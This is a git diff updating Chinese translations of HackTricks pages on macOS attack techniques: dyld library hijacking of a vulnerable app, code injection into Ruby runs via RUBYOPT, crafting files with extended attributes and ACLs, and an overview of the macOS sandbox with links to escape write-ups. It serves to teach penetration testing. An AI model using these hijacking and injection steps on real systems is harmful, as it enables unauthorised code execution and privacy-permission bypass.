@@ -48,21 +46,23 @@ printf("Hello, World!\n");
return 0;
}
```
-
注入:
-
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
+## Dyld Hijacking 示例
-## Dyld劫持示例
-
-目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
+目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
+{% tabs %}
+{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
+{% endtab %}
+{% tab title="LC_RPATH" %}
+{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
@@ -74,12 +74,11 @@ cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
-
-{% code overflow="wrap" %}
-```
-```
{% endcode %}
+{% endtab %}
+{% tab title="@rpath" %}
+{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
@@ -89,14 +88,16 @@ current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
-根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**:
+根据之前的信息,我们知道它**没有检查加载库的签名**,并且**试图从以下位置加载库**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
-然而,第一个不存在:
-
+然而,第一个库并不存在:
```bash
pwd
/Applications/VulnDyld.app
@@ -104,8 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
-
-所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译:
+所以,可以劫持它!创建一个库,**执行一些任意代码并通过重新导出相同的功能**来导出与合法库相同的功能。并记得使用预期的版本进行编译:
{% code title="lib.m" %}
```objectivec
@@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
-在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
+在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
{% code overflow="wrap" %}
```bash
@@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
```
{% endcode %}
-最后只需将其复制到**劫持位置**:
+最后将其复制到**劫持的位置**:
{% code overflow="wrap" %}
```bash
@@ -156,35 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
-然后**执行**二进制文件并检查**库是否被加载**:
+并**执行**二进制文件并检查**库是否已加载**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
+用法: [...]
{% hint style="info" %}
-关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
+关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
{% endhint %}
## 更大规模
-如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。
-
+如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除printf和`/bin/bash`执行)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-其他支持HackTricks的方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
index d71561a38..f07993592 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
@@ -1,22 +1,23 @@
# macOS Ruby 应用程序注入
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)!
+支持 HackTricks
-其他支持 HackTricks 的方式:
-
-* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
## RUBYOPT
-使用这个环境变量可以在每次执行 **ruby** 时**添加新的参数**。虽然不能使用参数 **`-e`** 来指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来添加一个新的文件夹到库加载路径,然后**指定一个要加载的库**。
+使用此环境变量,可以在每次执行 **ruby** 时 **添加新参数**。虽然参数 **`-e`** 不能用于指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来将新文件夹添加到库加载路径,然后 **指定要加载的库**。
在 **`/tmp`** 中创建库 **`inject.rb`**:
@@ -24,42 +25,35 @@
```ruby
puts `whoami`
```
-```ruby
-# hello.rb 内容
-puts "Hello, world!"
-```
{% endcode %}
-创建一个 Ruby 脚本,例如:
+在任何地方创建一个 ruby 脚本,如下所示:
{% code title="hello.rb" %}
```ruby
-puts "Hello, world!"
-```
-{% endcode %}
-```ruby
puts 'Hello, World!'
```
-```markdown
-然后使用以下命令加载一个任意的ruby脚本:
-```
+{% endcode %}
+
+然后让一个任意的 Ruby 脚本加载它:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
-趣事,即使使用参数 **`--disable-rubyopt`** 也能工作:
+有趣的事实,即使使用参数 **`--disable-rubyopt`** 也有效:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md
index b676bacbb..058116e3e 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md
@@ -1,27 +1,33 @@
-# macOS xattr-acls extra stuff
+# macOS xattr-acls 额外内容
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
-
-\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
+{% endhint %}
+```bash
+rm -rf /tmp/test*
+echo test >/tmp/test
+chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
+./get_acls test
+ACL for test:
+!#acl 1
+group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
-
-````
+```
-获取 ACLs 的代码
+获取 ACL 的代码
```c
// gcc -o get_acls get_acls
#include
@@ -61,47 +67,103 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
-````
-
-\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
-
+```
+
+```bash
+# Lets add the xattr com.apple.xxx.xxxx with the acls
+mkdir start
+mkdir start/protected
+./set_xattr start/protected
+echo something > start/protected/something
+```
-set_xattr 的代码
+set_xattr的代码
+```c
+// gcc -o set_xattr set_xattr.c
+#include
+#include
+#include
+#include
+#include
-\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
-void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
+void print_xattrs(const char *filepath) {
+ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
+if (buflen < 0) {
+perror("listxattr");
+return;
+}
-char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
+char *buf = malloc(buflen);
+if (buf == NULL) {
+perror("malloc");
+return;
+}
-buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
+buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
+if (buflen < 0) {
+perror("listxattr");
+free(buf);
+return;
+}
-printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
+printf("All current extended attributes for %s:\n", filepath);
+for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
+printf("%s: ", name);
+ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
+if (valuelen < 0) {
+perror("getxattr");
+continue;
+}
-char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
+char *value = malloc(valuelen + 1);
+if (value == NULL) {
+perror("malloc");
+continue;
+}
-valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
+valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
+if (valuelen < 0) {
+perror("getxattr");
+free(value);
+continue;
+}
-value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
+value[valuelen] = '\0'; // Null-terminate the value
+printf("%s\n", value);
+free(value);
+}
-free(buf); }
+free(buf);
+}
-int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
-const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
+int main(int argc, char *argv[]) {
+if (argc != 2) {
+fprintf(stderr, "Usage: %s \n", argv[0]);
+return 1;
+}
-int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
+const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
+const char *filepath = argv[1];
-print\_xattrs(filepath);
+int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
+if (result == 0) {
+printf("Extended attribute set successfully.\n\n");
+} else {
+perror("setxattr");
+return 1;
+}
-return 0; }
+print_xattrs(filepath);
-````
+return 0;
+}
+```
-
-
+{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@@ -115,19 +177,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
-````
-
```
-
-
-```
-
+{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+支持 HackTricks
+
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
index ecad4a01b..6501615eb 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
@@ -1,35 +1,36 @@
-# macOS沙箱
+# macOS Sandbox
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+Support HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 基本信息
+## Basic Information
-MacOS沙箱(最初称为Seatbelt)**限制在沙箱内运行的应用程序**执行的操作,以**符合应用程序运行时使用的沙箱配置文件中指定的允许操作**。这有助于确保**应用程序只能访问预期的资源**。
+MacOS Sandbox(最初称为 Seatbelt)**限制应用程序**在沙箱内运行时的**允许操作,这些操作在应用程序运行的沙箱配置文件中指定**。这有助于确保**应用程序仅访问预期的资源**。
-任何具有**授权** **`com.apple.security.app-sandbox`** 的应用程序将在沙箱内执行。**苹果二进制文件**通常在沙箱内执行,为了在**App Store**中发布应用程序,**此授权是强制性的**。因此,大多数应用程序将在沙箱内执行。
+任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序都将在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,并且为了在**App Store**中发布,**此权限是强制性的**。因此,大多数应用程序将在沙箱内执行。
-为了控制进程可以执行的操作,**沙箱在内核中的所有** **系统调用**中都有**钩子**。**根据**应用程序的**授权**,沙箱将**允许**特定操作。
+为了控制进程可以或不能做什么,**沙箱在内核的所有**syscalls**中都有钩子**。**根据**应用程序的**权限**,沙箱将**允许**某些操作。
沙箱的一些重要组件包括:
* **内核扩展** `/System/Library/Extensions/Sandbox.kext`
* **私有框架** `/System/Library/PrivateFrameworks/AppSandbox.framework`
-* 在用户空间运行的**守护程序** `/usr/libexec/sandboxd`
+* 在用户空间运行的**守护进程** `/usr/libexec/sandboxd`
* **容器** `~/Library/Containers`
-在容器文件夹中,您可以找到**为每个在沙箱中执行的应用程序**的文件夹,文件夹名称为bundle id:
+在容器文件夹中,您可以找到**每个以沙箱方式执行的应用程序的文件夹**,其名称为包 ID:
```bash
ls -l ~/Library/Containers
total 0
@@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
-在每个 bundle id 文件夹中,您可以找到该应用的 **plist** 和 **Data 目录**:
+在每个 bundle id 文件夹内,您可以找到应用的 **plist** 和 **数据目录**:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
-请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**来访问它们。这些权限位于**`.plist`**文件中。
+请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在**`.plist`**中。
{% endhint %}
```bash
# Get permissions
@@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
-所有由沙盒应用程序创建/修改的内容都将获得**隔离属性**。这将通过触发Gatekeeper来阻止沙盒应用程序尝试使用**`open`**执行某些操作。
+由沙盒应用程序创建/修改的所有内容将获得**隔离属性**。这将通过触发Gatekeeper来防止沙盒空间,如果沙盒应用程序尝试使用**`open`**执行某些操作。
{% endhint %}
### 沙盒配置文件
-沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的内容的配置文件。它使用**沙盒配置语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme_%28programming_language%29)编程语言。
+沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
-在这里,您可以找到一个示例:
+在这里您可以找到一个示例:
```scheme
(version 1) ; First you get the version
@@ -140,22 +141,22 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
{% hint style="success" %}
-查看这个[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以查看更多可能被允许或拒绝的操作。**
+查看这个 [**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以检查更多可以被允许或拒绝的操作。**
{% endhint %}
-重要的**系统服务**也在其自定义的**沙盒**中运行,例如`mdnsresponder`服务。您可以在以下位置查看这些自定义**沙盒配置文件**:
+重要的 **系统服务** 也在它们自己的自定义 **沙箱** 中运行,例如 `mdnsresponder` 服务。您可以在以下位置查看这些自定义 **沙箱配置文件**:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**
-* 其他沙盒配置文件可以在[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)中进行检查。
+* 其他沙箱配置文件可以在 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) 中查看。
-**App Store** 应用程序使用**配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中查看诸如**`com.apple.security.network.server`**这样的授权如何允许进程使用网络。
+**App Store** 应用使用 **配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中检查诸如 **`com.apple.security.network.server`** 的权限如何允许进程使用网络。
-SIP是一个名为platform\_profile的沙盒配置文件,位于/System/Library/Sandbox/rootless.conf
+SIP 是一个名为 platform\_profile 的沙箱配置文件,位于 /System/Library/Sandbox/rootless.conf
-### 沙盒配置文件示例
+### 沙箱配置文件示例
-要使用**特定的沙盒配置文件**启动应用程序,您可以使用:
+要使用 **特定沙箱配置文件** 启动应用程序,您可以使用:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
@@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
-请注意,运行在**Windows**上的**由苹果编写的软件**没有额外的安全预防措施,比如应用程序沙箱。
+请注意,**苹果编写的** **软件** 在 **Windows** 上 **没有额外的安全措施**,例如应用程序沙箱。
{% endhint %}
绕过示例:
-- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
-- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(它们能够在沙箱之外写入以`~$`开头的文件)。
+* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
